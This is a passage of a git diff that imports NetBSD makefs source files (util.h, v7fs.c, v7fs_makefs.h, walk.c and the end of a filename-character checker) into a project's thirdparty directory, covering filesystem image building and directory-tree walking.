+ } + } + return(newIndex); +} + +#if defined OS2 || defined WIN_95 || defined WIN_NT +/*********************************************************************** + * Decides if a Unicode character matches one of a list + * of ASCII characters. + * Used by OS2 version of IsIllegal for readability, since all of the + * illegal characters above 0x0020 are in the ASCII subset of Unicode. + * Works very similarly to the standard C function strchr(). + * + * RETURN VALUE + * + * Non-zero if the Unicode character is in the given ASCII string. + */ +int UnicodeInString( + unsigned char *string, /* (Input) String to search through. */ + unicode_t ch) /* (Input) Unicode char to search for. */ +{ + int found = false; + while (*string != '\0' && found == false) { + /* These types should compare, since both are unsigned + * numbers. */ + if (*string == ch) { + found = true; + } + string++; + } + return(found); +} +#endif /* OS2 */ + +/*********************************************************************** + * Decides whether the given character is illegal for a given OS. + * + * RETURN VALUE + * + * Non-zero if char is illegal. + */ +int IsIllegal(unicode_t ch) +{ +#ifdef MAC + /* Only illegal character on the MAC is the colon. */ + if (ch == 0x003A) { + return(1); + } else { + return(0); + } + +#elif defined UNIX + /* Illegal UNIX characters are NULL and slash. */ + if (ch == 0x0000 || ch == 0x002F) { + return(1); + } else { + return(0); + } + +#elif defined OS2 || defined WIN_95 || defined WIN_NT + /* Illegal char's for OS/2 according to WARP toolkit. */ + if (ch < 0x0020 || UnicodeInString("\\/:*?\"<>|", ch)) { + return(1); + } else { + return(0); + } +#endif +} +/* #endif*/ /* NEEDS_ISPRINT */ + diff --git a/thirdparty/makefs/util.h b/thirdparty/makefs/util.h new file mode 100644 index 0000000..992cfdb --- /dev/null +++ b/thirdparty/makefs/util.h @@ -0,0 +1,171 @@ +/* $NetBSD: util.h,v 1.69 2016/04/10 19:05:50 roy Exp $ */ + +/*- + * Copyright (c) 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef _UTIL_H_ +#define _UTIL_H_ + +#include +#include +//#include +#include + +#ifdef _BSD_TIME_T_ +typedef _BSD_TIME_T_ time_t; +#undef _BSD_TIME_T_ +#endif +#ifdef _BSD_SIZE_T_ +typedef _BSD_SIZE_T_ size_t; +#undef _BSD_SIZE_T_ +#endif + +#if defined(_POSIX_C_SOURCE) +#ifndef __VA_LIST_DECLARED +//typedef __va_list va_list; +#define __VA_LIST_DECLARED +#endif +#endif + +#define PIDLOCK_NONBLOCK 1 +#define PIDLOCK_USEHOSTNAME 2 + +#define PW_POLICY_BYSTRING 0 +#define PW_POLICY_BYPASSWD 1 +#define PW_POLICY_BYGROUP 2 + +__BEGIN_DECLS +struct disklabel; +struct iovec; +struct passwd; +struct termios; +struct utmp; +struct utmpx; +struct winsize; +struct sockaddr; + +char *flags_to_string(unsigned long, const char *); +pid_t forkpty(int *, char *, struct termios *, struct winsize *); +const char *getbootfile(void); +int getbyteorder(void); +off_t getlabeloffset(void); +int getlabelsector(void); +int getlabelusesmbr(void); +int getmaxpartitions(void); +int getrawpartition(void); +const char *getdiskrawname(char *, size_t, const char *); +const char *getdiskcookedname(char *, size_t, const char *); +const char *getfstypename(int); +const char *getfsspecname(char *, size_t, const char *); +struct kinfo_vmentry *kinfo_getvmmap(pid_t, size_t *); +#if 0 +//#ifndef __LIBC12_SOURCE__ +void login(const struct utmp *) __RENAME(__login50); +void loginx(const struct utmpx *) __RENAME(__loginx50); +#endif +int login_tty(int); +int logout(const char *); +int logoutx(const char *, int, int); +void logwtmp(const char *, const char *, const char *); +void logwtmpx(const char *, const char *, const char *, int, int); +int opendisk(const char *, int, char *, size_t, int); +int opendisk1(const char *, int, char *, size_t, int, + int (*)(const char *, int, ...)); +int openpty(int *, int *, char *, struct termios *, + struct winsize *); +#if 0 +//#ifndef __LIBC12_SOURCE__ +time_t parsedate(const char *, const time_t *, const int *) + __RENAME(__parsedate50); +#endif +int pidfile(const char *); +pid_t pidfile_lock(const char *); +pid_t pidfile_read(const char *); +int pidfile_clean(void); +int pidlock(const char *, int, pid_t *, const char *); +int pw_abort(void); +#if 0 +//#ifndef __LIBC12_SOURCE__ +void pw_copy(int, int, struct passwd *, struct passwd *) + __RENAME(__pw_copy50); +int pw_copyx(int, int, struct passwd *, struct passwd *, + char *, size_t) __RENAME(__pw_copyx50); +#endif +void pw_edit(int, const char *); +//__dead void pw_error(const char *, int, int); +void pw_getconf(char *, size_t, const char *, const char *); +#if 0 +//#ifndef __LIBC12_SOURCE__ +void pw_getpwconf(char *, size_t, const struct passwd *, + const char *) __RENAME(__pw_getpwconf50); +#endif +const char *pw_getprefix(void); +void pw_init(void); +int pw_lock(int); +int pw_mkdb(const char *, int); +void pw_prompt(void); +int pw_setprefix(const char *); +int raise_default_signal(int); +int secure_path(const char *); +int snprintb_m(char *, size_t, const char *, uint64_t, size_t); +int snprintb(char *, size_t, const char *, uint64_t); +int sockaddr_snprintf(char *, size_t, const char *, + const struct sockaddr *); +char *strpct(char *, size_t, uintmax_t, uintmax_t, size_t); +char *strspct(char *, size_t, intmax_t, intmax_t, size_t); +int string_to_flags(char **, unsigned long *, unsigned long *); +int ttyaction(const char *, const char *, const char *); +int ttylock(const char *, int, pid_t *); +char *ttymsg(struct iovec *, int, const char *, int); +int ttyunlock(const char *); + +uint16_t disklabel_dkcksum(struct disklabel *); +int disklabel_scan(struct disklabel *, char *, size_t); + +/* Error checked functions */ +void (*esetfunc(void (*)(int, const char *, ...))) + (int, const char *, ...); +size_t estrlcpy(char *, const char *, size_t); +size_t estrlcat(char *, const char *, size_t); +char *estrdup(const char *); +char *estrndup(const char *, size_t); +intmax_t estrtoi(const char *, int, intmax_t, intmax_t); +uintmax_t estrtou(const char *, int, uintmax_t, uintmax_t); +void *ecalloc(size_t, size_t); +void *emalloc(size_t); +void *erealloc(void *, size_t); +void ereallocarr(void *, size_t, size_t); +struct __sFILE *efopen(const char *, const char *); +//int easprintf(char ** __restrict, const char * __restrict, ...) +// __printflike(2, 3); +//int evasprintf(char ** __restrict, const char * __restrict, +// __va_list) __printflike(2, 0); +__END_DECLS + +#endif /* !_UTIL_H_ */ diff --git a/thirdparty/makefs/v7fs.c b/thirdparty/makefs/v7fs.c new file mode 100644 index 0000000..7c479a3 --- /dev/null +++ b/thirdparty/makefs/v7fs.c @@ -0,0 +1,191 @@ +/* $NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $ */ + +/*- + * Copyright (c) 2011 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by UCHIYAMA Yasushi. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $"); +#endif /* !__lint */ + +#include +#include +#include +#include +#include +#include + +#include "makefs.h" +#include "v7fs.h" +#include "v7fs_impl.h" +#include "v7fs_makefs.h" +#include "newfs_v7fs.h" + + +#ifndef HAVE_NBTOOL_CONFIG_H +#include "progress.h" +static bool progress_bar_enable; +#endif +int v7fs_newfs_verbose; + +void +v7fs_prep_opts(fsinfo_t *fsopts) +{ + v7fs_opt_t *v7fs_opts = ecalloc(1, sizeof(*v7fs_opts)); + const option_t v7fs_options[] = { + { 'p', "pdp", &v7fs_opts->pdp_endian, OPT_INT32, false, true, + "PDP endian" }, + { 'P', "progress", &v7fs_opts->progress, OPT_INT32, false, true, + "Progress bar" }, + { .name = NULL } + }; + + fsopts->fs_specific = v7fs_opts; + fsopts->fs_options = copy_opts(v7fs_options); +} + +void +v7fs_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_specific); + free(fsopts->fs_options); +} + +int +v7fs_parse_opts(const char *option, fsinfo_t *fsopts) +{ + + return set_option_var(fsopts->fs_options, option, "1", NULL, 0) != -1; +} + +void +v7fs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + struct v7fs_mount_device v7fs_mount; + int fd, endian, error = 1; + v7fs_opt_t *v7fs_opts = fsopts->fs_specific; + + v7fs_newfs_verbose = debug; +#ifndef HAVE_NBTOOL_CONFIG_H + if ((progress_bar_enable = v7fs_opts->progress)) { + progress_switch(progress_bar_enable); + progress_init(); + progress(&(struct progress_arg){ .cdev = image }); + } +#endif + + /* Determine filesystem image size */ + v7fs_estimate(dir, root, fsopts); + printf("Calculated size of `%s': %lld bytes, %ld inodes\n", + image, (long long)fsopts->size, (long)fsopts->inodes); + + if ((fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) { + err(EXIT_FAILURE, "%s", image); + } + if (lseek(fd, fsopts->size - 1, SEEK_SET) == -1) { + goto err_exit; + } + if (write(fd, &fd, 1) != 1) { + goto err_exit; + } + if (lseek(fd, 0, SEEK_SET) == -1) { + goto err_exit; + } + fsopts->fd = fd; + v7fs_mount.device.fd = fd; + +#if !defined BYTE_ORDER +#error +#endif +#if BYTE_ORDER == LITTLE_ENDIAN + if (fsopts->needswap) + endian = BIG_ENDIAN; + else + endian = LITTLE_ENDIAN; +#else + if (fsopts->needswap) + endian = LITTLE_ENDIAN; + else + endian = BIG_ENDIAN; +#endif + if (v7fs_opts->pdp_endian) { + endian = PDP_ENDIAN; + } + + v7fs_mount.endian = endian; + v7fs_mount.sectors = fsopts->size >> V7FS_BSHIFT; + if (v7fs_newfs(&v7fs_mount, fsopts->inodes) != 0) { + goto err_exit; + } + + if (v7fs_populate(dir, root, fsopts, &v7fs_mount) != 0) { + error = 2; /* some files couldn't add */ + goto err_exit; + } + + close(fd); + return; + + err_exit: + close(fd); + err(error, "%s", image); +} + +void +progress(const struct progress_arg *p) +{ +#ifndef HAVE_NBTOOL_CONFIG_H + static struct progress_arg Progress; + static char cdev[32]; + static char label[32]; + + if (!progress_bar_enable) + return; + + if (p) { + Progress = *p; + if (p->cdev) + strcpy(cdev, p->cdev); + if (p->label) + strcpy(label, p->label); + } + + if (!Progress.tick) + return; + if (++Progress.cnt > Progress.tick) { + Progress.cnt = 0; + Progress.total++; + progress_bar(cdev, label, Progress.total, PROGRESS_BAR_GRANULE); + } +#endif +} diff --git a/thirdparty/makefs/v7fs_makefs.h b/thirdparty/makefs/v7fs_makefs.h new file mode 100644 index 0000000..1c047ca --- /dev/null +++ b/thirdparty/makefs/v7fs_makefs.h @@ -0,0 +1,49 @@ +/* $NetBSD: v7fs_makefs.h,v 1.2 2011/08/10 11:31:49 uch Exp $ */ + +/*- + * Copyright (c) 2011 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by UCHIYAMA Yasushi. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _MAKEFS_V7FS_H_ +#define _MAKEFS_V7FS_H_ + +typedef struct { + int pdp_endian; + int progress; + v7fs_daddr_t npuredatablk; /* for progress bar */ +} v7fs_opt_t; + +__BEGIN_DECLS +void v7fs_estimate(const char *, fsnode *, fsinfo_t *); +int v7fs_populate(const char *, fsnode *, fsinfo_t *, + const struct v7fs_mount_device *); +struct progress_arg; +void progress(const struct progress_arg *); +extern int v7fs_newfs_verbose; +__END_DECLS +#endif /*!_MAKEFS_V7FS_H_*/ diff --git a/thirdparty/makefs/walk.c b/thirdparty/makefs/walk.c new file mode 100644 index 0000000..08fe6f3 --- /dev/null +++ b/thirdparty/makefs/walk.c @@ -0,0 +1,765 @@ + +/* + * Copyright (c) 2001 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: walk.c,v 1.28 2013/02/03 06:16:53 christos Exp $"); +#endif /* !__lint */ + +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include "util.h" + +#include "makefs.h" +#include "mtree.h" +#ifndef ALLPERMS +# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO) +#endif + +u_int +nodetoino(u_int type) +{ + + switch (type) { + case F_BLOCK: + return S_IFBLK; + case F_CHAR: + return S_IFCHR; + case F_DIR: + return S_IFDIR; + case F_FIFO: + return S_IFIFO; + case F_FILE: + return S_IFREG; + case F_LINK: + return S_IFLNK; +#ifdef S_IFSOCK + case F_SOCK: + return S_IFSOCK; +#endif + default: + printf("unknown type %d", type); + abort(); + } + /* NOTREACHED */ +} + +const char * +nodetype(u_int type) +{ + + return (inotype(nodetoino(type))); +} + + +const char * +inotype(u_int type) +{ + + switch (type & S_IFMT) { + case S_IFBLK: + return ("block"); + case S_IFCHR: + return ("char"); + case S_IFDIR: + return ("dir"); + case S_IFIFO: + return ("fifo"); + case S_IFREG: + return ("file"); + case S_IFLNK: + return ("link"); +#ifdef S_IFSOCK + case S_IFSOCK: + return ("socket"); +#endif +#ifdef S_IFDOOR + case S_IFDOOR: + return ("door"); +#endif + default: + return ("unknown"); + } + /* NOTREACHED */ +} + + +#define HAVE_STRUCT_STAT_ST_FLAGS 0 + +static void apply_specdir(const char *, NODE *, fsnode *, int); +static void apply_specentry(const char *, NODE *, fsnode *); +static fsnode *create_fsnode(const char *, const char *, const char *, + struct stat *); +static fsinode *link_check(fsinode *); + + +/* + * walk_dir -- + * build a tree of fsnodes from `root' and `dir', with a parent + * fsnode of `parent' (which may be NULL for the root of the tree). + * append the tree to a fsnode of `join' if it is not NULL. + * each "level" is a directory, with the "." entry guaranteed to be + * at the start of the list, and without ".." entries. + */ +fsnode * +walk_dir(const char *root, const char *dir, fsnode *parent, fsnode *join, + int replace) +{ + fsnode *first, *cur, *prev, *last; + DIR *dirp; + struct dirent *dent; + char path[MAXPATHLEN + 1]; + struct stat stbuf; + char *name, *rp; + int dot, len; + + assert(root != NULL); + assert(dir != NULL); + + len = snprintf(path, sizeof(path), "%s/%s", root, dir); + if (len >= (int)sizeof(path)) + errx(1, "Pathname too long."); + if (debug & DEBUG_WALK_DIR) + printf("walk_dir: %s %p\n", path, parent); + if ((dirp = opendir(path)) == NULL) + err(1, "Can't opendir `%s'", path); + rp = path + strlen(root) + 1; + if (join != NULL) { + first = cur = join; + while (cur->next != NULL) + cur = cur->next; + prev = last = cur; + } else + last = first = prev = NULL; + while ((dent = readdir(dirp)) != NULL) { + name = dent->d_name; + dot = 0; + if (name[0] == '.') + switch (name[1]) { + case '\0': /* "." */ + if (join != NULL) + continue; + dot = 1; + break; + case '.': /* ".." */ + if (name[2] == '\0') + continue; + /* FALLTHROUGH */ + default: + dot = 0; + } + if (debug & DEBUG_WALK_DIR_NODE) + printf("scanning %s/%s/%s\n", root, dir, name); + if (snprintf(path + len, sizeof(path) - len, "/%s", name) >= + (int)sizeof(path) - len) + errx(1, "Pathname too long."); + if (lstat(path, &stbuf) == -1) + err(1, "Can't lstat `%s'", path); +#ifdef S_ISSOCK + if (S_ISSOCK(stbuf.st_mode & S_IFMT)) { + if (debug & DEBUG_WALK_DIR_NODE) + printf(" skipping socket %s\n", path); + continue; + } +#endif + + if (join != NULL) { + cur = join->next; + for (;;) { + if (cur == NULL || strcmp(cur->name, name) == 0) + break; + if (cur == last) { + cur = NULL; + break; + } + cur = cur->next; + } + if (cur != NULL) { + if (S_ISDIR(cur->type) && + S_ISDIR(stbuf.st_mode)) { + if (debug & DEBUG_WALK_DIR_NODE) + printf("merging %s with %p\n", + path, cur->child); + cur->child = walk_dir(root, rp, cur, + cur->child, replace); + continue; + } + if (!replace) + errx(1, "Can't merge %s `%s' with " + "existing %s", + inode_type(stbuf.st_mode), path, + inode_type(cur->type)); + else { + if (debug & DEBUG_WALK_DIR_NODE) + printf("replacing %s %s\n", + inode_type(stbuf.st_mode), + path); + if (cur == join->next) + join->next = cur->next; + else { + fsnode *p; + for (p = join->next; + p->next != cur; p = p->next) + continue; + p->next = cur->next; + } + free(cur); + } + } + } + + cur = create_fsnode(root, dir, name, &stbuf); + cur->parent = parent; + if (dot) { + /* ensure "." is at the start of the list */ + cur->next = first; + first = cur; + if (! prev) + prev = cur; + cur->first = first; + } else { /* not "." */ + if (prev) + prev->next = cur; + prev = cur; + if (!first) + first = cur; + cur->first = first; + if (S_ISDIR(cur->type)) { + cur->child = walk_dir(root, rp, cur, NULL, + replace); + continue; + } + } + if (stbuf.st_nlink > 1) { + fsinode *curino; + + curino = link_check(cur->inode); + if (curino != NULL) { + free(cur->inode); + cur->inode = curino; + cur->inode->nlink++; + if (debug & DEBUG_WALK_DIR_LINKCHECK) + printf("link_check: found [%llu, %llu]\n", + (unsigned long long)curino->st.st_dev, + (unsigned long long)curino->st.st_ino); + } + } + if (S_ISLNK(cur->type)) { + char slink[PATH_MAX+1]; + int llen; + + llen = readlink(path, slink, sizeof(slink) - 1); + if (llen == -1) + err(1, "Readlink `%s'", path); + slink[llen] = '\0'; + cur->symlink = strdup(slink); + } + } + assert(first != NULL); + if (join == NULL) + for (cur = first->next; cur != NULL; cur = cur->next) + cur->first = first; + if (closedir(dirp) == -1) + err(1, "Can't closedir `%s/%s'", root, dir); + return (first); +} + +static fsnode * +create_fsnode(const char *root, const char *path, const char *name, + struct stat *stbuf) +{ + fsnode *cur; + + cur = calloc(1, sizeof(*cur)); + cur->path = strdup(path); + cur->name = strdup(name); + cur->inode = calloc(1, sizeof(*cur->inode)); + cur->root = root; + cur->type = stbuf->st_mode & S_IFMT; + cur->inode->nlink = 1; + cur->inode->st = *stbuf; + return (cur); +} + +/* + * free_fsnodes -- + * Removes node from tree and frees it and all of + * its decendents. + */ +void +free_fsnodes(fsnode *node) +{ + fsnode *cur, *next; + + assert(node != NULL); + + /* for ".", start with actual parent node */ + if (node->first == node) { + assert(node->name[0] == '.' && node->name[1] == '\0'); + if (node->parent) { + assert(node->parent->child == node); + node = node->parent; + } + } + + /* Find ourselves in our sibling list and unlink */ + if (node->first != node) { + for (cur = node->first; cur->next; cur = cur->next) { + if (cur->next == node) { + cur->next = node->next; + node->next = NULL; + break; + } + } + } + + for (cur = node; cur != NULL; cur = next) { + next = cur->next; + if (cur->child) { + cur->child->parent = NULL; + free_fsnodes(cur->child); + } + if (cur->inode->nlink-- == 1) + free(cur->inode); + if (cur->symlink) + free(cur->symlink); + free(cur->path); + free(cur->name); + free(cur); + } +} +#if 0 +/* + * apply_specfile -- + * read in the mtree(8) specfile, and apply it to the tree + * at dir,parent. parameters in parent on equivalent types + * will be changed to those found in specfile, and missing + * entries will be added. + */ +void +apply_specfile(const char *specfile, const char *dir, fsnode *parent, int speconly) +{ + struct timeval start; + FILE *fp; + NODE *root; + + assert(specfile != NULL); + assert(parent != NULL); + + if (debug & DEBUG_APPLY_SPECFILE) + printf("apply_specfile: %s, %s %p\n", specfile, dir, parent); + + /* read in the specfile */ + if ((fp = fopen(specfile, "r")) == NULL) + err(1, "Can't open `%s'", specfile); + TIMER_START(start); + root = spec(fp); + TIMER_RESULTS(start, "spec"); + if (fclose(fp) == EOF) + err(1, "Can't close `%s'", specfile); + + /* perform some sanity checks */ + if (root == NULL) + errx(1, "Specfile `%s' did not contain a tree", specfile); + assert(strcmp(root->name, ".") == 0); + assert(root->type == F_DIR); + + /* merge in the changes */ + apply_specdir(dir, root, parent, speconly); + + free_nodes(root); +} +#endif +static void +apply_specdir(const char *dir, NODE *specnode, fsnode *dirnode, int speconly) +{ + char path[MAXPATHLEN + 1]; + NODE *curnode; + fsnode *curfsnode; + + assert(specnode != NULL); + assert(dirnode != NULL); + + if (debug & DEBUG_APPLY_SPECFILE) + printf("apply_specdir: %s %p %p\n", dir, specnode, dirnode); + + if (specnode->type != F_DIR) + errx(1, "Specfile node `%s/%s' is not a directory", + dir, specnode->name); + if (dirnode->type != S_IFDIR) + errx(1, "Directory node `%s/%s' is not a directory", + dir, dirnode->name); + + apply_specentry(dir, specnode, dirnode); + + /* Remove any filesystem nodes not found in specfile */ + /* XXX inefficient. This is O^2 in each dir and it would + * have been better never to have walked this part of the tree + * to begin with + */ + if (speconly) { + fsnode *next; + assert(dirnode->name[0] == '.' && dirnode->name[1] == '\0'); + for (curfsnode = dirnode->next; curfsnode != NULL; curfsnode = next) { + next = curfsnode->next; + for (curnode = specnode->child; curnode != NULL; + curnode = curnode->next) { + if (strcmp(curnode->name, curfsnode->name) == 0) + break; + } + if (curnode == NULL) { + if (debug & DEBUG_APPLY_SPECONLY) { + printf("apply_specdir: trimming %s/%s %p\n", dir, curfsnode->name, curfsnode); + } + free_fsnodes(curfsnode); + } + } + } + + /* now walk specnode->child matching up with dirnode */ + for (curnode = specnode->child; curnode != NULL; + curnode = curnode->next) { + if (debug & DEBUG_APPLY_SPECENTRY) + printf("apply_specdir: spec %s\n", + curnode->name); + for (curfsnode = dirnode->next; curfsnode != NULL; + curfsnode = curfsnode->next) { +#if 0 /* too verbose for now */ + if (debug & DEBUG_APPLY_SPECENTRY) + printf("apply_specdir: dirent %s\n", + curfsnode->name); +#endif + if (strcmp(curnode->name, curfsnode->name) == 0) + break; + } + if ((size_t)snprintf(path, sizeof(path), "%s/%s", + dir, curnode->name) >= sizeof(path)) + errx(1, "Pathname too long."); + if (curfsnode == NULL) { /* need new entry */ + struct stat stbuf; + + /* + * don't add optional spec entries + * that lack an existing fs entry + */ + if ((curnode->flags & F_OPT) && + lstat(path, &stbuf) == -1) + continue; + + /* check that enough info is provided */ +#define NODETEST(t, m) \ + if (!(t)) \ + errx(1, "`%s': %s not provided", path, m) + NODETEST(curnode->flags & F_TYPE, "type"); + NODETEST(curnode->flags & F_MODE, "mode"); + /* XXX: require F_TIME ? */ + NODETEST(curnode->flags & F_GID || + curnode->flags & F_GNAME, "group"); + NODETEST(curnode->flags & F_UID || + curnode->flags & F_UNAME, "user"); + if (curnode->type == F_BLOCK || curnode->type == F_CHAR) + NODETEST(curnode->flags & F_DEV, + "device number"); +#undef NODETEST +#define HAVE_STRUCT_STAT_ST_MTIMENSEC 0 + if (debug & DEBUG_APPLY_SPECFILE) + printf("apply_specdir: adding %s\n", + curnode->name); + /* build minimal fsnode */ + memset(&stbuf, 0, sizeof(stbuf)); + stbuf.st_mode = nodetoino(curnode->type); + stbuf.st_nlink = 1; + stbuf.st_mtime = stbuf.st_atime = + stbuf.st_ctime = start_time.tv_sec; +#if HAVE_STRUCT_STAT_ST_MTIMENSEC + stbuf.st_mtimensec = stbuf.st_atimensec = + stbuf.st_ctimensec = start_time.tv_nsec; +#endif + curfsnode = create_fsnode(".", ".", curnode->name, + &stbuf); + curfsnode->parent = dirnode->parent; + curfsnode->first = dirnode; + curfsnode->next = dirnode->next; + dirnode->next = curfsnode; + if (curfsnode->type == S_IFDIR) { + /* for dirs, make "." entry as well */ + curfsnode->child = create_fsnode(".", ".", ".", + &stbuf); + curfsnode->child->parent = curfsnode; + curfsnode->child->first = curfsnode->child; + } + if (curfsnode->type == S_IFLNK) { + assert(curnode->slink != NULL); + /* for symlinks, copy the target */ + curfsnode->symlink = strdup(curnode->slink); + } + } + apply_specentry(dir, curnode, curfsnode); + if (curnode->type == F_DIR) { + if (curfsnode->type != S_IFDIR) + errx(1, "`%s' is not a directory", path); + assert (curfsnode->child != NULL); + apply_specdir(path, curnode, curfsnode->child, speconly); + } + } +} + +static void +apply_specentry(const char *dir, NODE *specnode, fsnode *dirnode) +{ + + assert(specnode != NULL); + assert(dirnode != NULL); + + if (nodetoino(specnode->type) != dirnode->type) + errx(1, "`%s/%s' type mismatch: specfile %s, tree %s", + dir, specnode->name, inode_type(nodetoino(specnode->type)), + inode_type(dirnode->type)); + + if (debug & DEBUG_APPLY_SPECENTRY) + printf("apply_specentry: %s/%s\n", dir, dirnode->name); + +#define ASEPRINT(t, b, o, n) \ + if (debug & DEBUG_APPLY_SPECENTRY) \ + printf("\t\t\tchanging %s from " b " to " b "\n", \ + t, o, n) + + if (specnode->flags & (F_GID | F_GNAME)) { + ASEPRINT("gid", "%d", + dirnode->inode->st.st_gid, specnode->st_gid); + dirnode->inode->st.st_gid = specnode->st_gid; + } + if (specnode->flags & F_MODE) { + ASEPRINT("mode", "%#o", + dirnode->inode->st.st_mode & ALLPERMS, specnode->st_mode); + dirnode->inode->st.st_mode &= 